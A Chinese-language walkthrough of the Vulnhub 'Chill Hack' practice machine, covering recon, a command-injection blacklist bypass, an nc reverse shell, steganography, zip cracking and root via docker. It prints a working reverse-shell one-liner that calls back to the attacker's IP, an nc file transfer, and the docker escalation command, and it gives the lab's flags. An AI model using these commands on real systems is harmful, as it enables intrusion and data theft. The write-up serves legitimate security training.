Vulnhub-Chill_Hack

靶场实战 Vulnhub-Chill_Hack

靶场下载地址https://www.vulnhub.com/entry/chill-hack-1,622/

废话不多说 直接开始

第一步使用kali扫描内网IP

Arp-scan –l

获得靶场IP为192.168.72.132

对靶场进行端口扫描

Nmap –A –v 192.168.72.132

发现存在21 22 80三个端口

21端口存在匿名访问 咱们先访问看看

用户名使用anonymous 密码为空

成功登陆

查看有什么文件

发现存在一个txt文件 我们查看一下

使用get下载到本地然后打开查看

嗯…好像也没什么用

我们还是先看看80端口的Web服务吧

看上去像是一个体育比赛的官网?

扫描一下目录

发现了一个有趣的URL http://192.168.72.132/secret/index.php

可以执行命令

OK 突破口应该就在这里了

当我输入ls想查看一下当前目录文件的时候

这时我想起来我们那个note.txt文件里的话是什么意思

证明这里有过滤 就是不知道是白名单还是黑名单了

经过我大量测试 该靶场为黑名单验证

那就好办了 绕过吧

出去吃了个饭 回来突然来了思路

将两个指令结合起来 不就成了吗

例如 ls会被拦截

那就 whoami;ls

成功执行 我可真是个小机灵

将该方法和NC反弹一结合 不就拿到shell了?

经过大量测试 发现可用的反弹语句为

dir;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.72.130 7777 > /tmp/f

本机监听 nc –lvp 7777

执行 成功拿到一个shell

该shell权限还是较低 并且操作非常不便利 咱们要想办法提权

查找python版本

Which python

成功确认python版本为python3

使用python3将shell进行提升

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

成功

该命令不会对电脑有什么危害 但偶尔会有奇效

在这个文件夹下 这个hacker.php引起了我的注意 查看一下吧

在黑暗中我会看到答案?真就人均谜语人呗

在hacker.php中 我们看到images文件夹中有一张图片 应该就是线索所在

咱们进入images文件夹

OK 咱们把这张图片用nc下载下来 也可以用python3开启http服务进行下载 不过我图省事儿 就nc了吧

本地电脑运行 nc –nvlp 4444 > hacker-with-laptop_23-2147985341.jpg

咱们保持原名不动

Shell里运行 nc 192.168.72.130 4444 -w 4 < hacker-with-laptop_23-2147985341.jpg

OK 稍等一会儿 成功下载下来

根据hacker.php中的提示 在黑暗中我们会看到答案 这不就是妥妥的图片隐写吗 不愧是我 最近的柯南没白看

使用steghide查看

果然存在一个名为backup.zip的压缩包 不愧是我

依然使用steghide进行解压

OK 得到了这个名为backup.zip的压缩包文件

我们现在将他解压缩

我丢啊 这里来个密码 成吧 再找

找?找是不可能找的 就咱这暴脾气 爆他!

使用zip2johb生成了一个backup.john文件

咱们使用john爆他

OK 完成

咱们使用john查看密码

密码为pass1word 行吧 经典弱口令

接下来咱们解压文件

成功解压出来

查看解压出来的文件

好家伙 还有个base64编码 解密吧

返回我们的shell 查看一下用户

使用我们得到的密码登入进用户anurodh

成功登入

确认账户密码没问题了 这时候咱们就要用到一开始扫描出的22端口了

毕竟shell是不稳定的 使用ssh服务登入吧

成功登入 有一个稳定的权限的感觉太爽了

这时候肯定就是提权了是吧

直接使用经典的sudo su

失败了 嗯… 情理之中 意料之外

使用sudo –l查看sudo的权限 发现apaar可以提权?那就造他

查看apaar文件夹下的文件

发现apaar下有个txt文件 但由于权限文件我们无法访问

但上述提到了 apaar下有个sh脚本我们可以执行 那就执行它

它需要一个名字 咱们随便输入即可

执行完毕了 但我不知道它有效果

那就阅读一下吧

这个批处理 有点意思啊 似乎可以命令执行

尝试成功 有点意思

既然我们没有权限读取local.txt文件 那就让apaar来读取吧

啊这 我还以为是什么提权的东西呢 结果你告诉我 这就是个flag?

那也行吧 flag1 get {USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

OK 咱们继续找其他方法提权吧

输入id查看权限

嗯?docker?要素察觉

我们使用一些提权辅助工具https://gtfobins.github.io/ 在里面搜搜docker

使用此命令即可提权docker run -v /:/mnt –rm -it alpine chroot /mnt sh

提权成功

进入root目录 拿到最后一个flag

Flag2 get {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

总结语:怎么说呢,这个靶场还是挺有意思的。我起初以为就是简单的一个命令执行getshell以后一个脚本提权就拿下了。没想到还有这么多步骤,挺严谨的吧